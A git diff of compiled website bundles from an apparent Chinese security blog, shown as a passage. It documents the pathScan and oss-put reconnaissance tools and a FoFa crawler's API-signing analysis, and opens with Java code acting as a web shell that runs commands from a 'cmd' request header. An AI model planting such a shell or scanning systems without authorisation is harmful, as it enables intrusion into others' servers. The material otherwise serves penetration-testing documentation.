var3.invoke(var2);\n Method var6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");\n Method var7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);\n var7.setAccessible(true);\n var6.setAccessible(true);\n Object var8 = var6.invoke(var4);\n String var9 = (String)var7.invoke(var5, "cmd");\n String[] var10 = new String[3];\n if (System.getProperty("os.name").toUpperCase().contains("WIN")) {\n var10[0] = "cmd";\n var10[1] = "/c";\n } else {\n var10[0] = "/bin/sh";\n var10[1] = "-c";\n }\n\n var10[2] = var9;\n var8.getClass().getDeclaredMethod("println", String.class).invoke(var8, (new Scanner(Runtime.getRuntime().exec(var10).getInputStream())).useDelimiter("\\\\A").next());\n var8.getClass().getDeclaredMethod("flush").invoke(var8);\n var8.getClass().getDeclaredMethod("close").invoke(var8);\n } catch (Exception var11) {\n }\n\n }\n}\n\n\n'})})]})}function l($={}){const{wrapper:e}={...(0,n.R)(),...$.components};return e?(0,t.jsx)(e,{...$,children:(0,t.jsx)(o,{...$})}):o($)}}}]); \ No newline at end of file diff --git a/en/assets/js/9802ce98.23d3b52c.js b/en/assets/js/9802ce98.23d3b52c.js new file mode 100644 index 0000000..ff9f0cd --- /dev/null +++ b/en/assets/js/9802ce98.23d3b52c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5305],{24420:(e,n,s)=>{s.d(n,{A:()=>c});const c=s.p+"assets/images/image-20230822163449876-e0347fc48ea8e044c68f5d54f4b36d15.png"},28453:(e,n,s)=>{s.d(n,{R:()=>d,x:()=>i});var c=s(96540);const t={},a=c.createContext(t);function d(e){const n=c.useContext(a);return c.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:d(e.components),c.createElement(a.Provider,{value:n},e.children)}},50116:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>l,contentTitle:()=>i,default:()=>h,frontMatter:()=>d,metadata:()=>c,toc:()=>o});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u626b\u63cf\u6a21\u5f0f","title":"\u626b\u63cf\u6a21\u5f0f","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/04.\u626b\u63cf\u6a21\u5f0f.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u626b\u63cf\u6a21\u5f0f","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u626b\u63cf\u6a21\u5f0f","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/04.\u626b\u63cf\u6a21\u5f0f.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u547d\u4ee4\u53c2\u6570","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u547d\u4ee4\u53c2\u6570"},"next":{"title":"KnownSec 2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/Knownsec/knownsec-ctf-09/"}}');var t=s(74848),a=s(28453);const d={},i="\u56db\u79cd\u6a21\u5f0f",l={},o=[{value:"\u626b\u63cf\u8def\u5f84",id:"\u626b\u63cf\u8def\u5f84",level:2},{value:"\u626b\u63cf\u8def\u5f84\uff08\u9012\u5f52\uff09",id:"\u626b\u63cf\u8def\u5f84\u9012\u5f52",level:2},{value:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",id:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",level:2},{value:"\u5b50\u57df\u540d\u6536\u96c6",id:"\u5b50\u57df\u540d\u6536\u96c6",level:2},{value:"\u8f85\u52a9",id:"\u8f85\u52a9",level:2}];function r(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,a.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2023-08-22 17:34:33"})]})})]}),"\n",(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"\u56db\u79cd\u6a21\u5f0f",children:"\u56db\u79cd\u6a21\u5f0f"})}),"\n",(0,t.jsx)(n.h2,{id:"\u626b\u63cf\u8def\u5f84",children:"\u626b\u63cf\u8def\u5f84"}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsxs)(n.p,{children:["\u901a\u8fc7\u6307\u5b9a\u8def\u5f84\u6587\u4ef6\u6216\u8005\u9ed8\u8ba4\u4e0d\u6307\u5b9a\u65f6\uff0c\u81ea\u52a8\u52a0\u8f7d",(0,t.jsx)(n.code,{children:"main.txt"})," \u4e2d\u7684\u8def\u5f84\uff0c\u626b\u63cf"]}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"pathScan -u http://localhost:8080 -sc 404 -sbl 0\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230822155116797",src:s(59694).A+"",width:"1132",height:"392"})}),"\n",(0,t.jsx)(n.h2,{id:"\u626b\u63cf\u8def\u5f84\u9012\u5f52",children:"\u626b\u63cf\u8def\u5f84\uff08\u9012\u5f52\uff09"}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsx)(n.p,{children:"-r \u9012\u5f52\u626b\u63cf \u65f6\u95f4\u6d88\u8017\u957f\uff0c\u5224\u65ad\u8def\u5f84\u7684\u4f9d\u636e\u4e3a path\u7684\u7ed3\u5c3e \u4e3a /\uff0c\u5373\u4e3a\u8def\u5f84"}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"pathScan -list url.txt -r sc 404 -sbl 0 -pf /root/.config/pathScan/dict/main.txt\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230822163449876",src:s(24420).A+"",width:"1217",height:"657"})}),"\n",(0,t.jsx)(n.h2,{id:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",children:"\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce"}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsx)(n.p,{children:"[!Waring]"}),"\n",(0,t.jsxs)(n.p,{children:["\u8fd0\u884c\u524d\uff0c\u9700\u914d\u7f6e\u5bf9\u5e94\u7684API\u81f3 ",(0,t.jsx)(n.code,{children:"$HOME/.config/pathScan/provider-config.yaml"})," \u4e2d"]}),"\n"]}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsx)(n.p,{children:"\u901a\u8fc7\u8c03\u7528\u641c\u7d22\u5f15\u64ce\u7684API\uff0c\u6765\u6536\u96c6\u76ee\u6807\uff0c\u5e76\u4e14\u53ef\u6307\u5b9a\u626b\u63cf\u8def\u5f84"}),"\n",(0,t.jsx)(n.p,{children:"\u652f\u6301\u7684API -> shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,zone,binary"}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:'pathScan -uc -uq \'domain="baidu.com"\' -ue fofa -ps "/api/v1/users"\n'})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230822165720553",src:s(74628).A+"",width:"1183",height:"525"})}),"\n",(0,t.jsx)(n.h2,{id:"\u5b50\u57df\u540d\u6536\u96c6",children:"\u5b50\u57df\u540d\u6536\u96c6"}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsxs)(n.p,{children:["\u7c7b\u4f3c\u4e8e ",(0,t.jsx)(n.code,{children:"oneforall"}),"\u7684\u4e3b\u52a8\u6536\u96c6\u8fc7\u7a0b\u4e0e\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u76f8\u7ed3\u5408\uff0c\u6536\u96c6\u5b50\u57df\u540d\u4fe1\u606f"]}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"pathScan -sub -sq 'baidu.com'\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230822170546203",src:s(96636).A+"",width:"1218",height:"476"})}),"\n",(0,t.jsx)(n.h2,{id:"\u8f85\u52a9",children:"\u8f85\u52a9"}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsxs)(n.p,{children:["\u4e0a\u8bc9\u6240\u63d0\u5230\u7684\u6240\u6709\u6a21\u5f0f\u4e2d\uff0c\u82e5\u60f3\u53d1\u73b0\u5728\u8bf7\u6c42\u4e2d\u53d1\u73b0\u66f4\u591a\u7684\u57df\u540d\uff0c\u5219\u53ef\u4ee5\u4f7f\u7528\u53c2\u6570 ",(0,t.jsx)(n.code,{children:"-sd\u3001-sdl"})," \u8be5\u53c2\u6570\u53ef\u4ee5\u53d1\u73b0\u66f4\u591a\u7684\u57df\u540d"]}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:'pathScan -u baidu.com -sd -ps / -sdl "beian.gov.cn,google.com"\n'})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230822172149199",src:s(52585).A+"",width:"1085",height:"498"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{alt:"image-20230822172424339",src:s(86967).A+"",width:"1173",height:"519"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5f88\u660e\u663e\u4e0d\u6b62\u662f ",(0,t.jsx)(n.code,{children:"baidu.com"}),"\uff0c\u8fd8\u662f",(0,t.jsx)(n.code,{children:"google.com"})," \u5747\u80fd\u591f\u88ab\u53d1\u73b0\uff0c\u5e76\u4e14\u6536\u96c6"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:'pathScan -u https://baidu.com -sd -sdl "google.com" -ps / # \u666e\u901a\u626b\u63cf\npathScan -r -u "baidu.com" -sd # \u9012\u5f52\npathScan -uc -ue fofa -uq \'domain="baidu.com"\' -sd -sdl "google.com" # \u641c\u7d22\u7a7a\u95f4\npathScan -s -sq "baidu.com" -sd -ps / # \u5b50\u57df\u540d\u6536\u96c6\n'})})]})}function h(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(r,{...e})}):r(e)}},52585:(e,n,s)=>{s.d(n,{A:()=>c});const c=s.p+"assets/images/image-20230822172149199-7908789eed5939a73ee5e514de22c261.png"},59694:(e,n,s)=>{s.d(n,{A:()=>c});const c=s.p+"assets/images/image-20230822155116797-acf977f79b2f46ff46db4cb63a05c386.png"},74628:(e,n,s)=>{s.d(n,{A:()=>c});const c=s.p+"assets/images/image-20230822165720553-1153ffbab887192bae249b1b6cfd40bd.png"},86967:(e,n,s)=>{s.d(n,{A:()=>c});const c=s.p+"assets/images/image-20230822172424339-ef0e0695dba8f02f581501ee56f5a017.png"},96636:(e,n,s)=>{s.d(n,{A:()=>c});const c=s.p+"assets/images/image-20230822170546203-844ff5ebbc5af15863e43e3c8d3dba00.png"}}]); \ No newline at end of file diff --git a/en/assets/js/9a960994.67668738.js b/en/assets/js/9a960994.67668738.js new file mode 100644 index 0000000..a5a8a45 --- /dev/null +++ b/en/assets/js/9a960994.67668738.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5406],{28453:(t,e,s)=>{s.d(e,{R:()=>c,x:()=>l});var n=s(96540);const r={},o=n.createContext(r);function c(t){const e=n.useContext(o);return n.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function l(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(r):t.components||r:c(t.components),n.createElement(o.Provider,{value:e},t.children)}},80900:(t,e,s)=>{s.r(e),s.d(e,{assets:()=>i,contentTitle:()=>l,default:()=>h,frontMatter:()=>c,metadata:()=>n,toc:()=>a});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put","title":"oss-put","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/03.\u5de5\u5177\u4f7f\u7528/02.oss-put.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/03.\u5de5\u5177\u4f7f\u7528","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/03.\u5de5\u5177\u4f7f\u7528/02.oss-put.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"PathScan","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan"},"next":{"title":"MSF\u63d0\u6743","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743"}}');var r=s(74848),o=s(28453);const c={},l="oss-put",i={},a=[];function d(t){const e={a:"a",code:"code",h1:"h1",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,o.R)(),...t.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-08-19 16:43:09"})]})})]}),"\n",(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"oss-put",children:"oss-put"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6700\u65b0\u5728\u6316",(0,r.jsx)(e.code,{children:"src"}),"\u7684\u65f6\u5019\u5f88\u5bb9\u6613\u78b0\u5230\u5b58\u50a8\u6876\u7684",(0,r.jsx)(e.code,{children:"put"}),"\u5199\u5165\uff0c",(0,r.jsx)(e.code,{children:"nuclei"})," \u4e5f\u6709\u76f8\u5173\u7684poc\uff0c\u4f46\u662f\u6211\u89c9\u5f97\u8fd9\u6837\u6548\u7387\u592a\u6162\u4e86\uff0c\u4e8e\u662f\u5199\u4e86\u4e00\u4e2a\u7b80\u5355\u7684 ",(0,r.jsx)(e.strong,{children:(0,r.jsx)(e.a,{href:"https://github.com/wjlin0/oss-put",children:"\u5de5\u5177"})}),"\uff0c\u66f4\u5feb\u66f4\u9ad8\u6548\u7684\u53d1\u73b0\u5b58\u50a8\u6876\u4efb\u610f\u6587\u4ef6\u6f0f\u6d1e\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u7c7b\u4f3c\u4e8e\u4e0b\u9762\u8fd9\u79cd"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191643315.png",alt:"image-20240121220930915"})}),"\n",(0,r.jsx)(e.p,{children:"\u53ef\u4ee5\u7ed3\u5408\u6211\u4e4b\u524d\u5199\u7684\u5de5\u5177\uff0c\u8fdb\u884c\u4e00\u4e2a\u6279\u91cf\u7684\u9a8c\u8bc1"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-shell",children:"# pathScan \u6536\u96c6 example.com \u76f8\u5173\u5b50\u57df\u540d \u81f3 url.txt\npathScan -s -sq 'example.com' -o url.txt\n# oss-put \u53d1\u73b0\u5b58\u5728oss\u4efb\u610f\u6587\u4ef6\u5199\u5165\u7684\u76ee\u6807\n./oss-put.py -list url.txt -o output.txt\n"})})]})}function h(t={}){const{wrapper:e}={...(0,o.R)(),...t.components};return e?(0,r.jsx)(e,{...t,children:(0,r.jsx)(d,{...t})}):d(t)}}}]); \ No newline at end of file diff --git a/en/assets/js/9d24966b.78b557c1.js b/en/assets/js/9d24966b.78b557c1.js new file mode 100644 index 0000000..490e3b7 --- /dev/null +++ b/en/assets/js/9d24966b.78b557c1.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3679],{2560:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403182249832-20241231164045338-e32b707431c905a07ab35c90835ef215.png"},26216:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403182338042-facfa1c13af8ca73b5ff277ae3664479.png"},27640:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403182337995-265e4f2065034a994df6a30c00cfd8d3.png"},28202:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>o,default:()=>l,frontMatter:()=>a,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/FoFa\u722c\u866b/README","title":"FoFa\u722c\u866b","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/04.FoFa\u722c\u866b/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/04.FoFa\u722c\u866b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/FoFa\u722c\u866b/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/FoFa\u722c\u866b/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/04.FoFa\u722c\u866b/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406"},"next":{"title":"\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76/"}}');var r=t(74848),i=t(28453);const a={},o="FoFa\u722c\u866b",c={},d=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2},{value:"\u5206\u6790",id:"\u5206\u6790",level:2},{value:"Cookie\u7684\u5b9e\u73b0",id:"cookie\u7684\u5b9e\u73b0",level:2},{value:"\u63d0\u95ee",id:"\u63d0\u95ee",level:2},{value:"\u524d\u6cbf",id:"\u524d\u6cbf-1",level:2},{value:"\u5206\u6790",id:"\u5206\u6790-1",level:2},{value:"Cookie\u7684\u5b9e\u73b0",id:"cookie\u7684\u5b9e\u73b0-1",level:2}];function h(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"fofa\u722c\u866b",children:"FoFa\u722c\u866b"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:38:46"})]})})]}),"\n",(0,r.jsx)(n.h1,{id:"fofa\u722c\u866bapi\u8fdb\u4e00\u6b65\u7814\u7a76",children:"FoFa\u722c\u866bAPI\u8fdb\u4e00\u6b65\u7814\u7a76"}),"\n",(0,r.jsx)(n.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,r.jsxs)(n.p,{children:["\u51e0\u5e74\u524d\u6211\u5728\u535a\u5ba2\u4e0a\u53d1\u8868\u4e00\u4e2a\u6587\u7ae0\uff0c\u5c31\u662f ",(0,r.jsxs)(n.a,{href:"https://www.wjlin0.com/archives/%E8%AE%B0fofa%E7%88%AC%E8%99%AB%E5%B7%A5%E5%85%B7%E5%BC%80%E5%8F%91%E7%AF%87",children:["\u57fa\u4e8e",(0,r.jsx)(n.strong,{children:"fofa"}),"\u722c\u866b\u83b7\u53d6URL"]}),"\uff08\u611f\u5174\u8da3\u53ef\u4ee5\u53bb\u56de\u770b\u4e00\u4e0b\uff09 \uff0c\u4f46\u662f\u90a3\u4e2a\u662f\u57fa\u4e8e",(0,r.jsx)(n.strong,{children:"Selenium"}),"\uff0c\u7531\u4e8e\u8fd9\u4e2a\u4e1c\u897f\u722c\u8d77\u6765\u8fc7\u6162\uff0c\u800c\u4e14\u5185\u5b58\u5f00\u9500\u5f88\u5927\uff0c\u8fd8\u662fpython\u5b9e\u73b0\u7684\uff0c\u6211\u6ee1\u8138\u7684\u5acc\u5f03\uff0c\u4e3a\u4e86\u63d0\u5347\u722c\u53d6\u7684\u901f\u5ea6\uff0c\u6240\u4ee5\u5c31\u6709\u4e86\u8fd9\u7bc7\u6587\u7ae0\u7684\u8bde\u751f\u3002"]}),"\n",(0,r.jsx)(n.h2,{id:"\u5206\u6790",children:"\u5206\u6790"}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u4e0a\u4e00\u7bc7\u6587\u7ae0\u4e2d\u63d0\u5230\uff0c\u7531\u4e8e\u533f\u540d\u7528\u6237\u53ea\u80fd\u8bbf\u95ee\u524d\u4e94\u9875~~(\u73b0\u5728\u53ea\u80fd\u83b7\u53d6\u524d\u9762\u4e00\u9875\u7684\u5185\u5bb9\u4e86\uff0c\u771f\u8be5\u6b7b)~~\u7684\u5185\u5bb9\uff0c\u6240\u4ee5\u65e0\u6cd5\u83b7\u53d6\u5230\u66f4\u591a\u5185\u5bb9\uff0c\u7136\u800c\u7531\u4e8e\u8d44\u6e90\u4f1a\u5206\u5e03\u5728\u4e0d\u540c\u57ce\u5e02\uff0c\u90a3\u4e48\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u7279\u70b9\uff0c\u53ea\u8981\u83b7\u53d6\u5230\u8fd9\u4e2a\u57ce\u5e02\u5217\u8868\uff0c\u5229\u7528\u94fe\u63a5\u4f9d\u6b21\u722c\u53d6\u5c31\u53ef\u4ee5\u4e86\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240318224918094",src:t(2560).A+"",width:"640",height:"1018"})}),"\n",(0,r.jsxs)(n.p,{children:["\u4e4b\u524d\u662f\u5229\u7528\u7684",(0,r.jsx)(n.strong,{children:"Selenium"}),"\u6765\u83b7\u53d6\u7684\u9875\u9762\u5185\u5bb9\uff0c\u7136\u800c\u8fd9\u79cd\u901f\u5ea6\u592a\u6162\u4e86\uff0c\u4e8e\u662f\u6211\u5206\u6790\u4e86\u5b83\u7684JS\u53d1\u73b0\uff0c\u4e8e\u662f\u53d1\u73b0\u4e86\u8fd9\u4e2a\u63a5\u53e3",(0,r.jsx)(n.code,{children:"https://api.fofa.info/v1/search/stats"}),"\uff0c\u5982\u4e0b\u56fe"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240318225530820",src:t(76657).A+"",width:"2470",height:"1610"})}),"\n",(0,r.jsx)(n.p,{children:"\u4f46\u662f\u4f60\u53ef\u4ee5\u53d1\u73b0\u5b83\u7684\u53c2\u6570\u8fdb\u884c\u4e86\u6821\u9a8c\u7684\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240318225556649",src:t(77777).A+"",width:"2704",height:"870"})}),"\n",(0,r.jsx)(n.p,{children:"\u5f53\u4f60\u627e\u5bfb\u7740\u4e2a\u6e90\u7801\uff0c\u4f60\u4f1a\u53d1\u73b0\uff0c\u8fd9\u4e2a\u662frsa\u7684\u7b7e\u540d\u8ba4\u8bc1\u3002\u800c\u4e14\u79c1\u94a5\u4e5f\u662f\u5b58\u5728\u7684\uff0c\u6240\u4ee5\u8bf4\u8fd9\u91cc\u770b\u4e00\u4e0b\u4ed6\u662f\u5982\u4f55\u52a0\u5bc6\u7684\u5c31\u53ef\u4ee5\u4e86\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240318230212922",src:t(82949).A+"",width:"1442",height:"664"})}),"\n",(0,r.jsxs)(n.p,{children:["\u6211\u4eec\u8ddf\u8fdb\u8fd9\u4e2a ",(0,r.jsx)(n.code,{children:"i.$sortFun"}),"\u51fd\u6570\u770b\u4e00\u4e0b"]}),"\n",(0,r.jsxs)(n.p,{children:["\u4ed6\u662f\u6309\u7167\u987a\u5e8f\u6392\u5217\u7684\u8fd9\u4e2a",(0,r.jsx)(n.code,{children:"e"})," \uff0c\u7136\u540e",(0,r.jsx)(n.code,{children:'i += "".concat(e).concat(n[e])'}),"\u8fdb\u884c\u62fc\u63a5\uff0c\u6700\u540e\u5f97\u51fa\u7ed3\u679c"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240318230525478",src:t(26216).A+"",width:"1936",height:"840"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.code,{children:"fullfalseqbase64ImJhaWR1LmNvbSI=ts1710774077895"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u7ed3\u679c\u4f60\u4f1a\u53d1\u73b0\uff0c",(0,r.jsx)(n.code,{children:"ts"}),"\u662f\u5f53\u524d\u7684\u65f6\u95f4\u6233\uff0c\u800c\u8fd9\u4e2a",(0,r.jsx)(n.code,{children:"qbase64"}),"\u5c31\u662f\u6211\u4eec\u67e5\u8be2\u7684\u8bed\u53e5\uff0c\u6240\u4ee5\u8bf4\u53ea\u9700\u8981\u5199\u4e00\u4e0b",(0,r.jsx)(n.code,{children:"rsa-sha256"}),"\u52a0\u5bc6\u5c31\u53ef\u4ee5\u4e86"]}),"\n",(0,r.jsxs)(n.p,{childr